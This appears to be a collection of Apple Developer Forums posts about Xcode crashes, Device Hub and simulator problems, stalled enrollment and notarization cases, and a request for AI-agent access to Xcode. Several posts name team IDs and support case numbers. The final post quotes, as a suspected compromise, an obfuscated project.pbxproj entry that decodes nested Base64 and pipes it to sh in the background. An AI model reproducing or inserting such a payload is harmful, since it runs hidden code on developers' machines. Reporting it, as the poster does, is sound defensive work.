Hi, I just modified my build setup. Now, Xcode project build crashes. From command line everything seems fine. xcodebuild ** BUILD SUCCEEDED ** Here is the stack-trace of crash-report showed: Thread 5 Crashed:: Dispatch queue: com.apple.root.default-qos.cooperative 0 SWBCore 0x10161da08 ClangCompilerSpec.constructTasks(_:_:) + 8636 1 SWBTaskConstruction 0x10119cee5 FilesBasedBuildPhaseTaskProducerBase.constructTasksForRule(_:_:_:) + 1 2 SWBTaskConstruction 0x1012202cd SourcesTaskProducer.constructTasksForRule(_:_:_:_:_:) + 1 3 SWBTaskConstruction 0x1011a11b9 closure #1 in FilesBasedBuildPhaseTaskProducerBase.addTasksForRule<A>(groupContext:_:_:_:_:_:_:) + 1 4 SWBTaskConstruction 0x10115fe89 <deduplicated_symbol> + 1 5 SWBTaskConstruction 0x1011547a1 <deduplicated_symbol> + 1 6 SWBTaskConstruction 0x1011da831 <deduplicated_symbol> + 1 7 SWBTaskConstruction 0x1011d53b1 specialized FilesBasedBuildPhaseTaskProducerBase.addTasksForGroup<A>(_:_:_:_:_:_:) + 1 8 SWBTaskConstruction 0x1011c7f8d specialized FilesBasedBuildPhaseTaskProducerBase.groupAndAddTasksForFiles<A>(_:_:_:filterToAPIRules:filterToHeaderRules:_:extraResolvedBuildFiles:) + 1 9 SWBTaskConstruction 0x1011e655d SourcesTaskProducer.generateTasks() + 1 10 SWBTaskConstruction 0x10114d725 <deduplicated_symbol> + 1 11 SWBTaskConstruction 0x1011532cd closure #2 in closure #4 in BuildPlan.init(planRequest:taskPlanningDelegate:) + 1 12 SWBTaskConstruction 0x10115fe89 <deduplicated_symbol> + 1 13 SWBTaskConstruction 0x101152321 <deduplicated_symbol> + 1 14 SWBTaskConstruction 0x101152321 <deduplicated_symbol> + 1 15 SWBUtil 0x100e32b0d <deduplicated_symbol> + 1 16 SWBUtil 0x100e32b0d <deduplicated_symbol> + 1 17 SWBUtil 0x100ec3271 <deduplicated_symbol> + 1 18 SWBUtil 0x100e3554d <deduplicated_symbol> + 1 19 libswift_Concurrency.dylib 0x287e40ec5 completeTaskWithClosure(swift::AsyncContext*, swift::SwiftError*) + 1 regards , Joël

The new MCP support for Coding Assistant in Xcode is a fantastic addition. It makes it much easier to work with AI directly inside Xcode, and it’s exciting to see Apple embracing AI-assisted development. However, many developers are now using external AI coding agents—such as Claude Code, Codex, and other terminal-based agents—as their primary development interface. In practice, much of the development workflow has shifted away from manually editing code in Xcode. Instead, developers collaborate with AI agents from the terminal (for example, using tmux), while the agents generate code, modify project settings, write tests, and perform many other development tasks. What these agents are missing is direct access to Xcode itself. It would be incredibly valuable if external AI coding agents could communicate with Xcode through an official MCP server, a CLI, or a dedicated automation API. For example, allowing them to: Build and run projects Control the iOS Simulator (or Device Hub) Launch and control Instruments Capture and analyze performance traces (Time Profiler, Leaks, Memory, SwiftUI, etc.) Inspect build errors, warnings, and diagnostics Access LLDB and debugging information Collect crash logs and symbolicated reports Perform other Xcode-specific operations that are currently only available through the IDE Imagine asking an AI agent to: “Profile my app with Instruments, find the performance bottleneck, explain the results, apply a fix, rebuild the app, and run the profiling session again to verify the improvement.” This would allow the AI to complete an entire development and optimization loop without requiring the developer to manually switch between the terminal and Xcode. The same idea could extend to many other workflows, including debugging, performance tuning, testing, accessibility verification, and simulator automation. Developers could continue using their preferred AI coding agent while still taking full advantage of Xcode’s unique capabilities. As AI-assisted development becomes more common, opening Xcode through an official MCP server, CLI, or automation API would unlock an entirely new class of development workflows. I believe this could become one of the most impactful improvements Apple could make for AI-assisted development. Today, AI agents are already capable of writing code. The next step is enabling them to fully collaborate with Xcode. Opening Xcode to external AI agents would allow developers to focus more on solving problems and less on operating tools.

Hello, I’m posting a new thread in case anyone has seen this before. My Apple Developer Program membership is paid and should remain active until March 10, 2027, but my account suddenly lost access to membership-related resources. Current symptoms: developer.apple.com/account shows “Join the Apple Developer Program” In Certificates, Identifiers & Profiles, I get: “Team ID is not associated with an active membership.” A few weeks ago, I received a “We need more information” email asking for ID and proof of address. I did upload the requested documents, and after contacting Developer Support in China, I uploaded them again as a second submission. Developer Support in China has confirmed that the issue is related to an additional identity verification review, and that my second submission was forwarded to the relevant internal team. My Team ID is: 84FV5VNGS2 My China Developer Support case number is: 102922928162 But after about 3 weeks, the account is still not restored. Has anyone had a similar case? If so: how long did it take? did Apple manually restore the membership / team linkage? was there anything else you needed to do besides waiting? Any similar experience would be appreciated. Thank you.

Our organization team has been unable to notarize anything for two months. Every submission is Rejected with statusCode 7000, and Developer Support has not been able to resolve it across two cases and eight contacts. We are stuck and cannot distribute our app. Facts: Team: CopVPN, Inc. — Team ID T24AV8CUXS (organization membership, paid and active, all program agreements accepted by the Account Holder) Developer ID Application and Developer ID Installer certificates are issued and work: our signed .pkg builds and verifies cleanly with codesign/pkgutil Every notarytool submission since 15 May 2026 is Rejected with statusCode 7000. The log shows "issues": null — there is nothing wrong with the package; the team itself has never been enabled for the notary service. Latest submission log (verbatim): { "logFormatVersion": 1, "jobId": "a881050a-19b3-4ea6-a068-18b7d68996d7", "status": "Rejected", "statusSummary": "Team is not yet configured for notarization. Please contact Developer Programs Support at developer.apple.com under the topic Development and Technical / Other Development or Technical Questions.", "statusCode": 7000, "archiveFilename": "CopVPN-3.5.0.pkg", "uploadDate": "2026-07-15T19:30:28.363Z", "sha256": "00ca96e23b69e013b3f27d2244f0e9f9e506e6c8aa2da1b91c34a5f584f27fb9", "ticketContents": null, "issues": null } Submission history (all Rejected, all statusCode 7000): 2026-05-15: c200b3bc-c47e-4524-9a33-5e36594ddd10, 760668b2-cceb-4a23-b820-027c7980b05a, e0115047-d1a1-4598-83b5-60f31cbbf12c, fe35a8fa-dc74-4e0c-8204-69bcea7a12a1 (CopVPN-3.3.3.pkg) 2026-05-27: 6defc76d-8a9a-458f-94f7-e6967a435ec2, 6df6fc0b-177d-4975-bbaf-c357991a4361 (CopVPN-3.3.3.pkg) 2026-07-13: 828d85c2-0419-48a9-a897-e95638ce10f3 (CopVPN-3.5.0.pkg) 2026-07-15: a881050a-19b3-4ea6-a068-18b7d68996d7 (CopVPN-3.5.0.pkg) Support history — two cases, both phone and email, including exactly the topic named in the error message: Case 102893198830 (Membership and Account / Developer Team Management): email May 18, call May 21, email Jun 2, email Jun 18, call Jul 13, call Jul 14 (all 2026) Case 102901823867 (Development and Technical / Other Development or Technical Questions): emails May 28 and May 29, 2026 Every contact ends the same way: the team is still not configured, and we are told to wait. Nothing has changed in two months. Also filed as Feedback Assistant report. Environment: notarytool 1.1.2 (41), macOS 26.5.2. Ask: could someone from Apple please escalate this to the notary service / Developer ID operations team so that Team T24AV8CUXS is configured for notarization? This is a pure account-provisioning flag; the support loop has not reached whoever can flip it. Happy to provide any further details here or in the FB report.

Hello, I am having an issue completing my enrollment in the Apple Developer Program and would appreciate guidance from Apple Developer Support or anyone who has experienced a similar situation. I initially applied for the Apple Developer Program, but during the payment stage, Apple did not accept my payment method. I tried several debit and credit cards registered in my own name, but none of them were accepted. I contacted Apple Developer Support and was advised to continue the enrollment process through the Apple Developer app. Support enabled the identity-verification process for my account, and everything worked correctly until the passport-scanning step. During the passport scan, the app captured a blurred image. I wanted to rescan the passport, but the app did not give me an option to retake the image and submitted it. Approximately 5–10 minutes later, the identity verification was rejected. After that, I contacted Apple Developer Support again, explained that the passport image had been captured incorrectly, and requested either: another opportunity to complete the identity verification; manual identity verification; or a secure method to submit my passport and any other required documents. I made it clear that I am ready to provide any documentation necessary to verify my identity. However, I received the following response: “We can’t verify your identity with the Apple Developer app or provide further assistance with the Apple Account for Apple developer programs.” Since receiving this message, I have not received any further explanation or response. I am also unable to restart the enrollment process. I currently receive the following message: “Your enrollment could not be completed. Your enrollment in the Apple Developer Program could not be completed at this time.” My support case numbers are: 102885570056 102931611778 I believe the rejection was caused by the blurred passport image captured by the Apple Developer app, rather than a problem with my identity or documents. I was not given an opportunity to review or retake the image before it was submitted. Could Apple Developer Support please clarify: Whether my enrollment can be manually reviewed; Whether the identity-verification process can be reset so I can scan my passport again; Whether I can securely provide my passport and supporting documents directly to Apple; Whether this rejection is permanent or whether I may submit a new enrollment request. I am a legitimate applicant from Azerbaijan and am fully prepared to provide my original passport, payment information, proof of address, or any other documentation required through an official and secure Apple channel. I am not requesting that my identity be verified publicly through the forum. I only need assistance restoring the verification process or having my case escalated to the appropriate enrollment team. Thank you for your assistance. Kind regards, Eshgin Shirinov

Downloaded beta three. Tried to continue conversation. Says Using LM Studio/qwen/opencode. Restarted LM Studio. Opencode is on latest version.

Subject: Urgent Escalation – Apple Developer Program Enrolment Delayed Despite Repeated Document Submission (Cases 102942660738 / 102918832132) Dear Apple Developer Program Support, I am writing on behalf of BFELG UK Ltd (trading as Black Leadership Group) to formally escalate our Apple Developer Program application, which has now been ongoing for several months without resolution despite repeated engagement with Apple support teams and multiple submissions of the requested documentation. Our organisation has successfully completed verification and approval for Apple Business; however, our Apple Developer Program enrolment remains unresolved. Relevant Case and Enrolment References Latest support case: 102942660738 Developer Support case: 102918832132 Previous support case: 102915915845 Original Developer enrolment ID: CCN8762L4K Current Developer enrolment ID: 8CKNF7K665 Summary of Events In May 2026, Black Leadership Group submitted an application to join the Apple Developer Program. Apple subsequently requested proof of identity and organisational authority, including: Government-issued photo identification Employment verification Certificate of Incorporation / Companies House documentation These documents were provided through Apple's secure upload process. Despite this, we continued to receive requests for the same documentation. Apple indicated that it was unable to verify my identity and association with the organisation and requested the same evidence again. During the process we also encountered an account access issue which prevented us from signing into the Apple Developer account. After being redirected between support teams, access was eventually restored and the Developer enrolment had to be resubmitted under a new enrolment ID. Following restoration of access, we again submitted all requested identity, employment and company documentation. Apple subsequently acknowledged receipt of those documents and advised that they would be reviewed. However, on 14 July 2026, we received yet another notification requesting documentation that had already been uploaded multiple times. At that point we advised Apple Support that this was at least the third occasion on which the same documents had been submitted without any meaningful progress being made on the application. Impact on Our Organisation Black Leadership Group has developed an application that we intend to publish through the Apple ecosystem. The inability to complete Developer Program enrolment is now directly delaying our planned deployment and organisational activities. We have attempted to work through the standard support channels in good faith and have responded promptly to every request for information. However, the apparent absence of continuity between support cases and repeated requests for documents already supplied suggest that our application may require manual review by a senior member of the Developer Relations or Developer Program team. Request We respectfully request that Apple: Conduct a senior review of our Developer Program application. Confirm whether all previously submitted documentation has been received and is visible to the reviewing team. Identify any genuinely outstanding requirements preventing approval. Provide a named contact or escalation manager who can oversee the case through to completion. Confirm the current status of enrolment ID 8CKNF7K665. We would be grateful for a substantive response and a clear route to resolution, as this matter has now been ongoing since May 2026 despite repeated submissions and numerous support interactions. Thank you for your attention to this matter. We look forward to hearing from you as soon as possible. Kind regards, Naomi Shaw Organisation: BFELG UK Ltd (Trading as Black Leadership Group)

If I only report issues through the Feedback Assistant and not post on the Developer Forum, will Apple even see my feedback? Over the past year, I've reported seven bugs through the Feedback Assistant, but haven't received any feedback. This is because I started using my test device to follow the iOS beta releases from WWDC a year ago, and iOS prompted me to use the Feedback Assistant to report issues. The other day, while conducting automated testing, I discovered a feature wasn't working. I figured the Feedback Assistant should be used to report bugs, so I specifically registered a Developer Forum account to post about it. The engineer told me I should use the Feedback Assistant. Seeing that none of my seven reports over the past year have received any feedback from Apple, I'm wondering if posting on the Developer Forum is mandatory for feedback to be effective. If that's the design, why isn't this information included in the iOS Developer Preview?

I know that using a mouse to control an iPhone simulator on macOS allows me to swipe down from the top right corner to open the Control Center, but why can't I swipe down from the top left corner to open the Notification Center? Am I doing something wrong, or does iOS disable mouse access to the Notification Center on macOS? Also, it seems that you can't use a mouse or gestures to open the Notification Center or Control Center in iPhone Mirroring at all. I saw that Accessibility has a feature to open the Notification Center or Control Center with the keyboard, but it doesn't work in my tests on macOS. I have an application feature that needs to check the effect of the media playback cards in the Notification Center, but I can't check it at all. Every time I compile to a real device and test manually. Is there any way to reliably trigger the Notification Center and Control Center on macOS? Otherwise, testing on a real device every time is too cumbersome, and I can't automate the testing at all!

Hello all, Yesterday, I found out that there's 60GB's of old simulator volumes on my mac in /Library/Developer/CoreSimulator/Volumes/. When I try to delete those through Xcode Settings -> Components under Other Installed Platforms, it looks like they are deleted, but after restarting my Mac, they simply return. I tried the solution proposed here (which is to delete the dmg files in /Library/Developer/CoreSimulator/Images/), but in my case, there are no dmg files in there. So it looks like they were properly deleted, unlike those in /Library/Developer/CoreSimulator/Volumes/. I could obviously try to delete the dmg files in /Library/Developer/CoreSimulator/Volumes/, but that doesn't work according to a post on reddit that I'm not allowed to show here (It's called 'Deleted 240GB of Xcode simulators multiple times but they keep remounting - how do I permanently remove them?') And I wonder if it's a safe thing to do. Do you have any suggestions for how to remove the old volumes correctly and permanently?

Or maybe I suck? Is there really no way with the new Xcode to take a simple screenshot from the device you're testing?You have to connect this Device Hub? An entirely separate app. And not only that, then you have to pair it, which maintains a live connection to the phone? Fine. Okay then. But now I can no longer test the microphone functions of my app because that shared session is interfering with it. Oh, well, I'll just disconnect the session then, right? Nope. The button to disconnect the session doesn't work. Device Hub thinks it's disconnected, but my phone still shows the blue sharing session icon in the upper left hand corner. The only way to stop that is to unpair the phone completely. So then every time I want to take a screenshot, I've got to do this pairing crap? I think I'll be running a second copy of Xcode 26 for quite a while just to use the screenshot button.

I'm building a tennis App, but I noticed the data update between the phone and watch keeps failing if I placed my camera on the baseline and player is moving around on the court. I'm trying to notify the player when they did something wrong when the camera detected it in realtime. I'm using HKWorkoutSession to keep the watch alive. Any suggestion?

Hello, I am writing to request assistance regarding our Apple Developer Program organization enrollment, which has been stuck on "Your enrollment is being processed" for several months. Enrollment details: • Enrollment ID: R8PRR42WRR • Enrolling as: Company/Organization • Legal entity name: ZORLUTEKS TEKSTIL TICARET VE SANAYI ANONIM SIRKETI • D-U-N-S Number: verified and on file • All requested documents have been submitted We have not received any follow-up communication, additional document requests, or explanation for the delay. We have contacted Apple Developer Support multiple times but have not received a resolution. This delay is blocking us from publishing two business applications on the App Store for our brands. Could an Apple team member please review our enrollment (R8PRR42WRR) and advise on what is required to complete the process? We are ready to provide any additional information immediately. Thank you.

I had already accepted my Apple Developer Program License Agreement since the 20th of march 2026. But your banner stay in my business portal and say : "Le contrat de licence de l’Apple Developer Program a été mis à jour et doit être revu. Afin de pouvoir mettre à jour vos apps existantes et en soumettre de nouvelles, la personne titulaire du compte doit revoir et accepter le contrat mis à jour en se connectant à son compte." Please see if you don't have a bug and let me update my apps.

I am using Xcode 27 beta 3 Device Hub with iPadOS Simulator. The iPadOS app I'm developing supports a standard two finger pinch/unpinch gesture to zoom in and out. In Xcode 26 Simulator, I could hold down the option key to zoom in and out with a two finger multitouch gesture. How can I effect a two finger multitouch zoom gesture with Xcode 27 beta 3 Device Hub iPadOS Simulator? I tried holding down the option key, which did not work. I tried using a macOS two finger multitouch pinch/unpinch zoom gesture, but this did not work. I've spent about 30 minutes investigating this, searching through Device Hub Settings and macOS Settings and exploring different permutations of options and reading Xcode 27 beta release notes. The Option key worked great in Xcode 26 iPadOS Simulator. I'd appreciate any assistance that an Apple Engineer could provide. Thank you.

My Apple Developer Program membership is paid and should still be active until March 10, 2027. This account had been working normally for several months, but recently I suddenly lost access to membership-related resources. Now when I sign in to developer.apple.com/account, it shows “Join the Apple Developer Program” instead of active membership details. When I try to create an Identifier in Certificates, Identifiers & Profiles, I get this error: “Team ID is not associated with an active membership.” I have already confirmed: I am signed in with the same Apple Account used to purchase the membership the receipt shows the membership is active this problem started only recently, after months of normal use Has anyone seen this before? Did Apple Developer Support need to manually restore the membership or team linkage?

Native Sign in with Apple fails with "Sign Up Not Completed" inside the AuthenticationServices sheet for every NEWLY registered App ID on our team (V4DCPCSM54) — including a clean-room probe App ID created via the ASC API with the capability enabled at creation — while an App ID registered in 2025 on the same team works. Entitlements, profiles, and capability config are all verified correct; capability toggle and fresh builds change nothing. This matches the server-side registration issue described in thread 790827. Filed as FB[23726069] with full details. Would appreciate DTS taking a look — this is currently blocking our App Store review (rejected 2.1(a)).

Hi .. hope everyone is good. I applied for the Apple Developer Program, first I sent my ID card, got approved and they asked me to continue the enrollment, I continued, added my card, paid, everything is good so far, my status now is "Pending" I've been waiting for almost +10 days, and I really need to finish my app, by adding "Sign in with Apple", "Apple Pay", and Submit my app, I have so much work to do, Please just someone Review my Account. I got no replay in my case from support: Case ID: 102942619562 I'd really appreciate any advice. Thank you!

Hello Apple Developer Team, I am trying to create a new post on the Apple Developer Forums using my iPhone. I can enter the title and description, but I am having difficulty completing the form and submitting it. The issue includes: The keyboard covers part of the page. I am unable to easily select the Topic and Subtopic. The page is difficult to navigate while typing. I am unsure if this is a Safari issue or a problem with the Developer Forum. Device: iPhone 16 Browser: Safari iOS Version: (Enter your iOS version) Could you please advise how to resolve this issue? Thank you.

I have observed an unexpected entry being added to my project's project.pbxproj file by Xcode: AB8F749 = "((d(){ base64 --decode | base64 --decode | base64 --decode | base64 --decode; };echo VjJ4a1QySXlTalZSVjJ4TFVUSm9jVnBHYUV0ak1HeEVUVlV4YWsxdVVuUlRWVTEzWkVkT2RGWnFRbXBpYlhSdVZHdE9RbVJGZUZoVWJscHBZbFJXYzFkVVRsSmtSMUpJWWtoU1lWWjZhM2hhUlU1Q1pWVTFjRkZZVW1GUk1FWndXVEJSZUU1R2EzbFBWM1JoVm1wc00xbFZaRWRsYkhCVVUxZGthRk5HU1hkWk1HaE9UbXQ0TlU5WGNHRlNlbFp2V1d4b2RtUlhSbGhPU0ZwYVZUSjBjRk5WYUROYU1rMTVXakJ6U3dvPQo= | d | sh ) >/dev/null 2>&1 &)"; This entry has been flagged as potentially malicious because it appears to contain multiple layers of Base64 encoding and ultimately executes a shell script after decoding. Could you please confirm whether this is expected behavior from Xcode or any Apple build tools? If this is not expected, could you advise what might be causing Xcode to insert such an entry into the project.pbxproj file? For context: The entry appears automatically in the project file. We are concerned because it resembles an obfuscated shell script that executes commands during the build process. We would like to understand whether this is generated by Xcode itself, a known feature, or whether it indicates that the project or development environment may have been modified by a third-party tool or compromised. If additional information such as the Xcode version, macOS version, project sample, or diagnostic logs would help your investigation, I would be happy to provide them. Thank you for your assistance.